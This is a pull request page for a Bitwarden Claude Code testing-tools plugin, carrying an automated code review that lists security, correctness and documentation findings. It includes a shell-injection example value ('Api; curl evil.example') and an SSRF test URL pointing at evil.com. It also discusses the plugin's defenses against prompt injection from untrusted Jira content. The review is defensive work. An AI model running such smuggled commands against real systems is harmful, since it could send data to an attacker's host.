add/testing tools orchestration

[kdenney]

🎟️ Tracking

📔 Objective

[github-actions]

Claude Code validation

Result: Issues found

Validated the bitwarden-testing-tools plugin at b10d2bd — 1 plugin manifest, 6 agent definitions, 9 SKILL.md files, the shared tool-policy reference, and the plugin's support scripts and eval fixtures. This PR is stacked on add/testing-tools-execution, so the changed-file list supplied by the workflow spans the branch stack relative to main; findings are scoped to lines that stack introduced. No CLAUDE.md or .claude/ file changed, so nothing was read from .claude-pr/.

Version and changelog obligations are met: 1.6.0 agrees across .claude-plugin/marketplace.json:105, plugins/bitwarden-testing-tools/.claude-plugin/plugin.json:3, and the README.md:22 catalog row, with a matching CHANGELOG.md entry. No hardcoded credentials — every secret-shaped string is an obvious test fixture (sk_live_abcdef, sk_test_abc123) exercising stripe_cli.py's live-key guard. No file attempts to direct this review; no CWE-1427 finding. settings.local.json is not in the changeset (it was added to .gitignore, which is the fix, not a finding).

The verdict is Issues found on the security clause rather than on severity: findings 1 and 2 below widen a tool grant and open a path from contributor-controlled input to a shell. Nothing here blocks plugin loading.

Critical

None.

Major

Security

• plugins/bitwarden-testing-tools/agents/playwright-test-runner/AGENT.md:10 and agents/localhost-web-health-checker/AGENT.md:9 — the four Bash(*/bitwarden-testing-tools/skills/.../*.py *) grants (and two on the health checker) are leading-wildcard path suffixes, so they auto-approve any file whose path ends the same way, not only the copy under this plugin. A tree ending in .../bitwarden-testing-tools/skills/using-stripe-cli/scripts/stripe_cli.py — planted under /tmp, or committed to a repo under test — executes without a prompt, on agents that process untrusted Jira content. Bash(playwright-cli:*) on the same line grants every subcommand including eval and run-code. Fix: the changeset already documents both gaps and names the remedy at references/playwright-tool-policy.md:80,82 — implement the PreToolUse hook on Bash, which resolves ${CLAUDE_PLUGIN_ROOT} at runtime and closes both. The honest disclosure is good practice, but it does not narrow the grant. Until the hook lands, say so in the plugin README so an installer sees it.
• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:37 — "Pass the required service names verbatim" routes plan-derived tokens onto a Bash command line. Those names originate in the test plan's ## Required Services block, downstream of Jira content this plugin's own orchestrator designates untrusted (skills/start-playwright-test/SKILL.md:8). A name like Api; curl evil.example is interpreted by the shell before health-check.sh's closed-set validation runs, and the health-check.sh * glob grant matches it. Fix: after the accepted-names list, require exact closed-set matching — "if a name is not an exact match for one of the nine listed, including any name carrying whitespace, quotes, or shell metacharacters, STOP and report it rather than passing it through."

Correctness

• plugins/bitwarden-testing-tools/skills/start-playwright-test/SKILL.md:18 — input parsing keys off "the first whitespace-delimited token" only, so the skill's own blessed trigger queries silently lose their ticket. evals/trigger-eval.json query 1 is run UI tests against my local web changes for PM-40010 (should_trigger: true); first token run falls through to row 3, type description, and playwright-test-context-gatherer never calls researching-jira-issues — the run proceeds on a one-line paraphrase with no acceptance criteria. Most positive trigger cases are phrased this way. Fix: scan the whole raw input for a ^[A-Za-z]{2,10}-\d+$ token or an atlassian.net/browse/ URL before falling through to description.
• plugins/bitwarden-testing-tools/skills/start-playwright-test/SKILL.md:5 — allowed-tools: [Agent, Read, Write, Bash(mkdir *)] omits everything Tasks 8 and 9 need: Skill(compiling-playwright-report) (invoked at lines 198 and 247) and the two report-script Bash grants (lines 202–207, 252–262). The self-justifying note at line 198 ("It carries the anchored grants for both report scripts") assumes a grant chain the orchestrator's own frontmatter does not permit it to start. Fix: add Skill(compiling-playwright-report) plus Bash(${CLAUDE_PLUGIN_ROOT}/skills/compiling-playwright-report/scripts/merge_results.py *) and .../render_report.py *.
• plugins/bitwarden-testing-tools/skills/reading-mailcatcher-api/scripts/get_admin_email.py:63 — json.load on a file the plugin itself documents as JSONC. The sibling added in the same changeset, skills/running-playwright-tests/scripts/read_admin_email.py:25-31, exists specifically to strip // and /* */ comments and explains why ("the .NET config loader tolerates comments, so the file carries commented-out settings"). Reproduced against a fixture of that shape: get_admin_email.py exits 3 with "invalid JSON" where read_admin_email.py prints the address. The error then misdirects the user toward --secrets-file, which will not help. The gap is untested because tests/test_get_admin_email.py builds fixtures with json.dump. Fix: reuse _strip_jsonc() before json.loads, and port the sibling's three comment-tolerance test cases.
• plugins/bitwarden-testing-tools/README.md:138-149 — the pipeline task table is off by one against the skill it documents, and three call sites still say "eight-task". Commit b10d2bd renumbered start-playwright-test/SKILL.md to Task 1–9 but touched only that file. The table lists Task 1 = playwright-test-context-gatherer where SKILL.md:47 has it as Task 2, and Task 8 = report rendering where SKILL.md:243 has Task 9; line 138 also says "Tasks 3 and 4 are dispatched together" where SKILL.md:90 says Tasks 4 and 5. Fix: renumber the table rows 1–8 to 2–9, add a Task 1 (Parse input) row, correct the concurrency sentence, and change "eight-task" to "nine-task" at README.md:30, README.md:138, and CHANGELOG.md:11.
• plugins/bitwarden-testing-tools/agents/localhost-web-health-checker/AGENT.md:9 — grants only the two shell scripts, with no Bash(playwright-cli:*), while line 7 declares playwright-cli in skills:, line 20 says the skill "uses it for render verification," and skills/checking-localhost-web-health/SKILL.md:41 makes render verification mandatory. Line 16 forbids the escape hatch ("Do not request permission to use tools outside it"), and the orchestrator halts on anything but the exact success line. The sibling agents/playwright-test-runner/AGENT.md:10 does carry the grant, so the asymmetry looks like an omission. Rated major rather than critical because playwright-cli is external to this repo and may supply its own turn-scoped grant — that could not be verified here. Fix: add Bash(playwright-cli:*) to the agent, and Skill(playwright-cli) to checking-localhost-web-health/SKILL.md:4-6.
• plugins/bitwarden-testing-tools/skills/mapping-services-under-test/SKILL.md:15 — git diff --name-only origin/main...HEAD -- <repo-path> never says which directory it runs from, and both readings break. From the bitwarden root, clients/ and server/ are separate checkouts so the parent is not a git repo; from inside a checkout, --name-only emits repo-root-relative paths (apps/web/foo.ts) that never match the clients/apps/web/** patterns at references/services.md:17,27,47,58. Step 2's path matching silently yields nothing and every run falls through to the step-5 baseline. Fix: state that the diff runs inside each repo checkout and the repo name is prepended before matching, or restate the Required by: patterns relative to each checkout.
• plugins/bitwarden-testing-tools/skills/scoping-playwright-test-cases/SKILL.md:21 — same shape: git diff origin/main...HEAD --name-only -- <repo-path> treats the repo as a pathspec, but the only caller states "The working directory is the bitwarden root. Each repo is a subdirectory" (agents/playwright-test-case-scoper/AGENT.md:36), where the command fails with "not a git repository". Fix: use git -C <repo-path> diff origin/main...HEAD --name-only, the idiom already used at skills/assessing-test-coverage/SKILL.md:5 — and add Bash(git -C * diff *) to the scoper's tools:, since the existing Bash(git diff *) prefix will not match it.
• plugins/bitwarden-testing-tools/skills/running-playwright-tests/SKILL.md:180 — the exit-3 branch names MAILCATCHER_URL, which does not exist. read_mailcatcher.py hardcodes its base URL and comments that this is deliberate; the real variable is MAILCATCHER_ALLOWED_HOSTS, it constrains extracted URLs, and a rejected host exits 1, not 3. Fix: drop the clause or rewrite it against the real variable and exit code.
• plugins/bitwarden-testing-tools/skills/running-playwright-tests/SKILL.md:18 — "Config path" is declared a required input, and Step 1's mandatory first call is open --config=<config-path>, but no caller supplies it: start-playwright-test/SKILL.md:190-193 passes only the test-plan path and artifacts dir, and agents/playwright-test-runner/AGENT.md:47-52 lists the same set. The model must invent an absolute path. Fix: have the skill self-resolve ${CLAUDE_SKILL_DIR}/playwright.config.json, or add Config path: to both the dispatch and the agent's Inputs list.
• plugins/bitwarden-testing-tools/skills/compiling-playwright-report/SKILL.md:19-20 — the two script signatures are written as skill-relative paths (scripts/merge_results.py ...), but line 22 states the anchored ${CLAUDE_SKILL_DIR} grants are what let them run unprompted, and those grants only match an absolute invocation. A caller following the signatures literally gets the permission prompt the skill exists to prevent. Fix: prefix both bullets with ${CLAUDE_SKILL_DIR}/, as checking-localhost-web-health/SKILL.md:24,34 already does.
• plugins/bitwarden-testing-tools/skills/writing-playwright-test-cases/SKILL.md:3 — the description promises "screenshot checkpoints"; the word appears nowhere else in the skill, and the output contract (lines 122–140) has no screenshot element. Screenshots are the runner's job. Fix: drop the phrase or replace it with "assertion steps", and correct the same wording copied into CHANGELOG.md:37.

Minor

• plugins/bitwarden-testing-tools/skills/reading-mailcatcher-api/scripts/get_admin_email.py:1 — near-duplicate of running-playwright-tests/scripts/read_admin_email.py, both new in this stack, disagreeing on flag name (--secrets-file vs --secrets-path), failure exit code (3 vs 4), JSONC handling, and list acceptance. Two skills now document different exit codes for the same failure. Consolidating into one implementation removes the divergence and eliminates the JSONC bug by construction.
• ${CLAUDE_SKILL_DIR} vs ${CLAUDE_PLUGIN_ROOT} are used inconsistently for script grants across five new skills — checking-localhost-web-health/SKILL.md:5-6, compiling-playwright-report/SKILL.md:5-6, and running-playwright-tests/SKILL.md:5-6 anchor on the former; reading-mailcatcher-api/SKILL.md:5 and using-stripe-cli/SKILL.md:5 on the latter (with :* rather than * suffixes). A grant whose variable does not expand degrades silently into a permission prompt. agents/playwright-test-runner/AGENT.md:73 passes a ${CLAUDE_PLUGIN_ROOT} config path where running-playwright-tests/SKILL.md:9,18 expects the ${CLAUDE_SKILL_DIR} form. Settle on one convention plugin-wide.
• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:5 — the preflight-check.sh * grant carries a trailing *, but step 1 invokes the script with no arguments and it accepts none, so the literal command does not match and the run prompts. agents/localhost-web-health-checker/AGENT.md:9 gets this right. Drop the *.
• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:43-47 — the render-verification step issues only screenshot, with no open --config and no goto. running-playwright-tests/SKILL.md:52 states the config-open "must be the first playwright-cli call" because Bitwarden dev certs are self-signed. As written the step captures whatever page the session is on, or fails TLS if the model improvises a bare goto. Add both calls before the screenshot.
• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:46 — nothing creates <artifacts-output-dir>/screenshots/; the orchestrator creates only the parent (start-playwright-test/SKILL.md:68) and this skill has no mkdir grant. Either add the grant and a create step, or state that playwright-cli creates parents.
• plugins/bitwarden-testing-tools/agents/playwright-test-context-gatherer/AGENT.md:8 — download_attachment is granted but unused: the agent only invokes researching-jira-issues, and that skill never calls it. It is the one tool in the list that writes attacker-influenceable bytes to disk, on the agent whose own line 11 warns Jira content is data. Drop it.
• plugins/bitwarden-testing-tools/references/services.md:5 — the repo-location fallback tells the agent to "check nearby directories", but its sole caller (agents/services-under-test-mapper/AGENT.md:8) grants only Read, Skill, Bash(git diff *) and forbids requesting more. Either drop the search step or add Glob to the agent.
• plugins/bitwarden-testing-tools/skills/mapping-services-under-test/SKILL.md:19 — the fallback's worked example ("only clients/apps/web/** template-only changes") is unreachable, since references/services.md:17 makes any clients/apps/web/** change require Web. Use a genuinely unmatched case.
• plugins/bitwarden-testing-tools/skills/mapping-services-under-test/SKILL.md:1-4 — no allowed-tools, though the skill's core action is a shell command; six sibling skills that shell out declare one. It works only because the dispatching agent happens to scope Bash(git diff *).
• plugins/bitwarden-testing-tools/skills/writing-playwright-test-cases/SKILL.md:20 — "no step may write to Stripe" contradicts the skill's own template at line 130 (SETUP: [HUMAN] Attach a Stripe test clock). Qualify it: no step the executor performs may write to Stripe; a required write is emitted as [HUMAN].
• plugins/bitwarden-testing-tools/skills/writing-playwright-test-cases/evals/README.md:31,35 — states "24 expectations"; behavior-eval.json holds 22 (4, 3, 3, 4, 4, 4).
• Skill descriptions lacking negative scope or invocation boundary: start-playwright-test/SKILL.md:3 (overlaps assessing-test-coverage and writing-manual-test-cases, both of which also accept a Jira key), checking-localhost-web-health/SKILL.md:3 (will match a generic "is my localhost up" request it cannot serve), running-playwright-tests/SKILL.md:3 (never says it is dispatched by playwright-test-runner), mapping-services-under-test/SKILL.md:3 (spends half its length on mechanism, and is easily confused with checking-localhost-web-health), scoping-playwright-test-cases/SKILL.md:3, compiling-playwright-report/SKILL.md:3. Sibling skills in this plugin already model the Do NOT use it to… clause.
• Description length: reading-mailcatcher-api/SKILL.md:3 is ~580 chars and using-stripe-cli/SKILL.md:3 ~524, both over the ~500 guideline. In each case the overflow is body content already stated elsewhere in the file.
• plugins/bitwarden-testing-tools/skills/start-playwright-test/SKILL.md:5 — allowed-tools is written as a YAML flow sequence ([...]), the only one of 58 such declarations in the repo not written as a string or block scalar.
• plugins/bitwarden-testing-tools/agents/localhost-web-health-checker/AGENT.md:8 (purple) and agents/playwright-test-case-scoper/AGENT.md:7 (orange) use colors outside the set plugin-dev's own validate-agent.sh:155 accepts (blue, cyan, green, yellow, magenta, red). Warning-level.
• None of the six new AGENT.md descriptions carry <example> blocks. Mitigated: all six end with "Do not invoke directly; dispatched by the start-playwright-test skill," so they are dispatched by name rather than description-matched, and no agent in this repo uses them. Noted for completeness.
• plugins/bitwarden-testing-tools/README.md:26-38 — compiling-playwright-report is missing from the Skills table; eleven skills exist, ten are listed.
• plugins/bitwarden-testing-tools/README.md:57 names three playwright-cli dependents where line 15 names four, dropping localhost-web-health-checker.
• No CI workflow runs the ~170 Python unit tests this stack adds across five suites. .github/workflows/ references no python/pytest/unittest; package.json defines only lint and format. Those tests are the only automated check on the SSRF host allowlist in external_trigger.py, the live-key guard in stripe_cli.py, the HTML escaping in render_report.py, and the secret-redaction in read_admin_email.py. All 170 pass locally via python3 -m unittest discover -s scripts/tests from each directory.
• plugins/bitwarden-testing-tools/skills/start-playwright-test/SKILL.md:68 — .playwright-testing-artifacts/ is written into the cwd, which during a run is the repo under test, leaving screenshots and reports as untracked files in that developer's tree. Worth a README note to gitignore it there.
• plugins/bitwarden-testing-tools/skills/using-stripe-cli/SKILL.md:105 — "~120s per day" counts sleep only; each of the 60 poll iterations also spawns a stripe get, so a --days 4 batch can breach the 600s Bash ceiling more often than the text implies, landing in the hardest-to-diagnose failure mode at line 111.

What was verified clean

• Prompt injection (CWE-1427): all ten reviews checked independently. No file addresses a reviewer, claims repository policy, or attempts to direct the review. The pipeline's own untrusted-content handling is a strength: an identical banner on all six agents, the <!-- UNTRUSTED SOURCE CONTENT --> delimiters at playwright-test-context-gatherer/AGENT.md:66-73 (honestly documented as a visual marker, not a machine boundary), and a Never permitted / Stop condition section in the tool policy.
• external_trigger.py: the host guard takes the host from a real URL parser rather than substring matching (so https://localhost@evil.com/ reads as evil.com), refuses to follow 3xx redirects with a documented rationale, enforces POST-only, extends the allowlist additively, and confines the TLS bypass to the four built-in dev hosts — an operator-added host gets normal verification. read_admin_email.py exists specifically to keep the rest of the dev secrets file out of agent context.
• Manifests and structure: all changed JSON parses; agent and skill name: values match their directory names; every ${CLAUDE_PLUGIN_ROOT}/${CLAUDE_SKILL_DIR} target resolves to a real file; exec bits set on directly-invoked scripts; no hooks/ or .mcp.json in this plugin; cspell additions sorted.
• Documented contracts match code in compiling-playwright-report (all 9 render_report.py flags, exit codes 2 and 3, template placeholders), reading-mailcatcher-api (the full exit-code table including the internal-2 → external-1 mapping), and using-stripe-cli (exit codes, the --days 1–4 bound, all three failure modes).

Checks run

Check	Status
Plugin structure	Skipped — run as a dedicated workflow step before this review; see the job log and check status
Marketplace	Skipped — same
Version bump	Skipped as a script — same. Verified by hand here: 1.6.0 consistent across all four locations, changelog present
Plugin validation (AI)	Ran — plugin-dev:plugin-validator over plugins/bitwarden-testing-tools; findings above
Skill review (AI)	Ran — plugin-dev:skill-reviewer over all 9 changed SKILL.md files; findings above
Configuration & security	Ran — secret scan, 6 agent definitions, references/playwright-tool-policy.md, and the plugin support scripts